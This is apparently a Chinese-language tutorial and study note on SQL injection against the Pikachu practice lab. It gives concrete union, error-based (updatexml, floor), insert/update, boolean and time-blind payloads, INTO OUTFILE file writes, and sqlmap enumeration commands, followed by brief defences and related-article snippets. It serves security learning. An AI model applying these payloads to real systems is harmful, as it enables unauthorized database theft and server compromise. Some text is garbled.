SQL注入(一)

2021-10-12 17:54:16 字數 3558 閱讀 6468

5 小知識補充

6 基於函式報錯的資訊獲取

7 基於insert/update注入

8 盲注

9 通過sql漏洞寫入惡意**

10 暴力猜測

11 防範

12 sqlmap經典用法

在owasp發布的top 10中,注入漏洞一直都是危害排名第一

注入點探測

資訊獲取

通過注入點獲取期望得到的資料

獲取許可權

獲取作業系統許可權:通過資料庫執行shell上傳木馬

核心思想:通過猜測,構造語句閉合

數字型:id = $id

字元型:id = 『$id』

搜尋型:text like 『%%』

select username,password from user where id =1 union select 欄位1,欄位2 from 表名

聯合查詢字段數需要和主查詢一致,查詢的結果顯示在同一張表上

order by x可以用來推出表中有多少字段

在mysql中,自帶的information_schema這個表裡面存放了大量的重要資訊。

例如:schemata表:提供了當前mysql例項中所有資料庫的資訊,。是show databases的結果。

tables表:提供了關於資料庫中表的資訊(包括檢視)。詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊。是show tables from schemaname的結果。

columns表:提供了表中的列資訊。詳細表述了某張表的所有列以及每個列的資訊,是show columns from schemaname.tablename的結果。

獲取表名:

select id,email from member where username = 『kobe』 union select table_schema,table_name from information_schema.tables where table_schema=『pikachu』;

獲取欄位名:

select id,email from member where username =『kobe』 union select table_name,column_name from information_schema.columns where table_name=『users』;

獲取內容:

select id,email from member where username=『kobe』 union select username,password from users;

常用的報錯函式updatexml()、extrctvalue()、floor()

前提條件:

後台沒有遮蔽資料庫報錯資訊,在語法發生錯誤時會輸出在前端。

技巧思路:

在mysql中使用一些指定的函式來製造報錯,從而從報錯資訊中獲取設定的資訊。

作用:改變(查詢並替換)xml文件中符合條件的節點的值。

語法:updatexml( xml_document, xpathstring, new_value)

引數一:fiedname是string格式,為表中的欄位名。

引數二:xpathstring(xpath格式的字串)

引數三:new_value , string格式,替換查詢到的符合條件的

xpath定位必須是有校的,否則會發生錯誤

payload:

1『 and updatexml(1,version(),0)# 這只會顯示一部分內容,改進如下:

1』 and updatexml(1,concat(0x7e,version()),0)#

報錯只能一次顯示一行,多行的話使用limit,0x7e為~的十六進製制形式

作用:從目標xml中返回包含所查詢值得字串

語法:extractvalue(xml_document,xpath_string)

select 2 from (

select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x

)a

floor、count、group by三個要一起用

一般insert語句:insert into member(username,password,email) values(『admin』,『123456』,『[email protected]』);

用or作為閉合s

繞過原理:xiaoming』 or ***xx or 『』,『123456』,『[email protected]

構造payload:xiaoming』 or updatexml(1,concat(0x7e,database()),0) or 』

insert和update原理一樣

在有些情況下,後台使用了錯誤訊息遮蔽方法(比如@)遮蔽了報錯

此時無法在根據報錯資訊來進行注入的判斷,這種情況下的注入,成為盲注

根據表現形式的不同,盲注又被分為based boolean和based time兩種型別

不管是正確的輸入還是錯誤的輸入,都只顯示兩種情況(可認為是0或1)

在正確的輸入下,輸入and 1=1 或 and 1=2發現可以判斷

使用and而不是or,使用or會一直是0或1,and後為真則1,假則0

』 and ascii(substr(database(),1,1)) >10 #

基於boolean的盲注在頁面還可以看到0/1,而基於time的則啥都看不到。

但可以通過特定的輸入,判斷後台執行的時間,從而確定注入

如,kobe

kobe』 and sleep(5)#

比較這兩句的時間

前提條件:

需要知道遠端目錄

需要遠端目錄有寫許可權

需要資料庫開啟了secure_file_priv,預設是關閉的

select 1,2 into outfile 「/var/www/html/1.txt」

into outfile將select的結果寫入到指定目錄的1.txt中

在一些沒有回顯的注入中可以使用into outfile將結果寫入到指定檔案,然後訪問獲取

aa作為字典

kobe』 and exists(select * from aa) #

**層面:

對輸入進行嚴格的轉義和過濾(不是最好的方法)

使用pdo預處理和引數化(推薦)

網路層面

通過waf裝置啟用防sql注入策略

雲端防護(360**衛士,阿里雲盾等)

第一步:

-u 「***」 – cookie=「yyy」 //帶上cookie對url進行注入探測

第二步:

-u 「***」 --cookie=「yyy」 -current-db //對資料庫名進行獲取

第三步:

u 「***」 --cookie=「yyy」 -d pikachu --tables //對資料庫的表名進行列舉

第四步:

-u 「***」 --cookie=「yyy」 -d pikachu -t users --columns //對庫裡面的名為users表的列名進行列舉

SQL注入(一)

萬能密碼 自己寫的 找到登入視窗 必須和資料庫互動 往裡插入構造的惡意 最後可以直接登入進去,不需要登入密碼,輸入的惡意 成為萬能密碼 使用者名稱的地方沒有處理,密碼輸入1 admin or 1 1 注釋符號 25 2d 2d select from user where user admin or...

SQL注入教程 (一)SQL注入原理

本系列文章將從sql注入基礎講解,面向初學者,循序漸進。如有不足,敬請指正。了解sql語言 語法 操作 常用函式 基本的sql資料庫操作是進行sql注入攻擊的基礎 了解php語言,以及php sql的常用組合操作 了解 架構 不同資料庫的差異 了解burp suite sqlmap等工具 了解htt...

SQL注入(一)之union注入

在sql注入的前期,第一件事情就是找到sql注入點,在找到注入點後開始下面的內容 a.判斷注入點 and1 1 返回true,顯示正常 and1 2 返回false,顯示錯誤 b.猜多少列order by 數值 c.聯合查詢猜表名union select1,2,3,7from users 猜表名並記...